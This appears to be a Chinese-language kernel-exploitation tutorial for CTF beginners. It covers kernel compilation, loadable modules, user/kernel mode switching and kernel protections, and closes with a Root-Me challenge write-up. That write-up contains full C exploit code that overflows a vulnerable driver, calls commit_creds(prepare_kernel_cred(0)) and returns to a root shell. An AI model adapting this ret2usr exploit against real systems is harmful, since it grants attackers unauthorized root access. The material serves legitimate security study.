内核文件
vmlinux 是未压缩的可执行内核文件
vmlinuz 是压缩后的可执行文件 包括bzimage(小文件)和zimage(大文件)
initrd 是用于启动时临时引导硬件到内核的临时文件系统
内核向下控制管理硬件,向上提供应用运行环境
源码阅读https://elixir.bootlin.com
内核编译
编译环境
坑:
在Ubuntu新的版本中'ncurses-devel'是以'libncurses5-dev'命名的。
sudo apt-get install ncurses-devel 定位不到包
sudo apt install libncurses5-dev ncurses-dev
sudo apt-get install libncurses* build-essential openssl zlibc minizip libidn11-dev libidn11 libssl-dev flex libncurses5-dev
下载源码
wget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.5.6.tar.xz
编译配置
make mrproper
make menuconfig

配置好退出保存
make -j8
编译成vmlinux文件
make -j8 bzImage
编译成bzImage文件
开始漫长的编译
清理现场
make clean
内核模块
赛题中的kernel pwn出题点多在内核模块的漏洞利用上
LKMs
也是编译成可执行文件,但只能运行在内核上
补充Linux内核的功能,包括 文件系统或设备驱动等
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("23333");
MODULE_DESCRIPTION("hello world module");
static int __init hello_init(void)
{
printk(KERN_WARNING "hello world.\n");
return 0;
}
static void __exit hello_exit(void)
{
printk(KERN_WARNING "hello exit!\n");
}
module_init(hello_init);
module_exit(hello_exit);
编译内核模块
obj-m := hello.o
KERNELBUILD := /home/xxx/linux-5.5.6
CURDIR := /home/xxx/Linux-Kernel/build/Test
modules:
make -C $(KERNELBUILD) M=$(CURDIR) modules
clean:
make -C $(KERNELBUILD) M=$(CURDIR) clean
内核模块的加载
insmod: 讲指定模块加载到内核中
rmmod: 从内核中卸载指定模块
lsmod: 列出已经加载的模块
内核使用的printk将输出打印到内核缓冲区而非标准输出
使用dmesg
可以查看内核缓冲区的内容
内核机制
用户态运行于ring3
内核态运行于ring0
内核栈与用户栈是隔离的,传递参数时需要寄存器
切换的过程:
usr2kernel
- 通过
swapgs
切换 GS 段寄存器,将 GS 寄存器值和一个特定位置的值进行交换,目的是保存 GS 值,同时将该位置的值作为内核执行时的 GS 值使用。 - 将当前栈顶(用户空间栈顶)记录在 CPU 独占变量区域里,将 CPU 独占区域里记录的内核栈顶放入
RSP/ESP
。 - 通过 push 保存各寄存器值
- 通过汇编指令判断是否为
x32_abi
。 - 通过系统调用号,跳到全局变量
sys_call_table
相应位置继续执行系统调用。
kernel2usr
- 通过
swapgs
恢复 GS 值 - 通过
sysretq
或者iretq
恢复到用户控件继续执行。如果使用iretq
还需要给出用户空间的一些信息(CS, eflags/rflags, esp/rsp
等)
提权
修改进程权限结构体cred
commit_creds(prepare_kernel_cred(0))
内核栈溢出利用
准备好trap frame
与模块交互产生溢出
覆盖函数指针
执行commit_creds(prepare_kernel_cred(0))提权为root
执行iret返回到用户空间的trap frame
运行用户空间的 shell (root)
struct trap_frame
{
void* eip; // instruction pointer +0
uint32_t cs; // code segment +4
uint32_t eflags; // CPU flags +8
void* esp; // stack pointer +12
uint32_t ss; // stack segment +16
} __attribute__((packed));
保护
- smep 当处理器处于
ring 0
模式,执行用户空间的代码会触发页错误。(在 arm 中该保护称为PXN
) - smap 当处理器处于
ring 0
模式,访问用户空间的数据会触发页错误。 - MMAP_MIN_ADDR 控制着mmap能够映射的最低内存地址,防止用户非法分配并访问低地址数据
- KASLR 内核地址空间布局随机化 允许kernel image加载到VMALLOC区域的任何位置
文件系统
将busybox或其他文件系统通过cpio打包即可,qemu启动时直接作为initrd启动
启动后根目录下的init脚本会被执行
find . | cpio -o -H newc > ./rootfs
调试运行
安装qemu
sudo apt install qemu qemu-system
qemu-system-i386 -kernel ./bzImage -append "console=ttyS0 oops=panic panic=1" -initrd ./rootfs -nographic -s
-s 选项打开gdb:1234调试
gdb -q
(gdb) set arch i386:x86-64
(gdb) target remote localhost:1234
函数符号表
cat /proc/kallsyms
模块节区表
/sys/module/模块
add-symbol-file 加载
案例分享
[Root-Me]LinKern x86 – Buffer overflow basic 1
x86内核的简单栈溢出,适合作为入门学习
首先解压文件系统,看init,
flag在passwd目录下,需要root权限访问
找内核模块的位置


拿到ko后缀的内核模块,拖进ida直接看

从用户空间读数据时溢出
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>
//ret2usr时的恢复信息
struct trap_frame{
void *eip;
uint32_t cs;
uint32_t eflags;
void *esp;
uint32_t ss;
}__attribute__((packed));
struct trap_frame tf;
static char receive[256];
//ret2usr后执行的shell
void get_shell(void){
execl("/bin/sh", "sh", NULL);
}
//伪造现场信息
void init_tf_work(void){
asm("pushl %cs;popl tf+4;" //set cs
"pushfl;popl tf+8;" //set eflags
"pushl %esp;popl tf+12;"
"pushl %ss;popl tf+16;");
tf.eip = &get_shell;
tf.esp -= 1024;
}
//提权
#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xC10711F0;
void* (*commit_creds)(void*) KERNCALL = (void*) 0xC1070E80;
void payload(void){
commit_creds(prepare_kernel_cred(0));
asm("mov $tf,%esp;"
"iret;");
}
int main(void){
char Padding[9] = "AAAAAAAA";
char Eip[5];
init_tf_work();
int fd = open("/dev/tostring",2);
for(int i = 0;i < 0x40; i++)
write(fd,Padding,sizeof(Padding));
write(1,"OK!n",sizeof(Eip));
*((void**)(Eip)) = &payload;
write(fd,Eip,sizeof(Eip));
read(fd,receive,255);
return 0;
}


busybox是没有gcc的,所以exp一般是需要在外部静态链接编译的
gcc exp.c -o exp -s -m32
重新打包
运行exp


提权成功获得root权限
暂无评论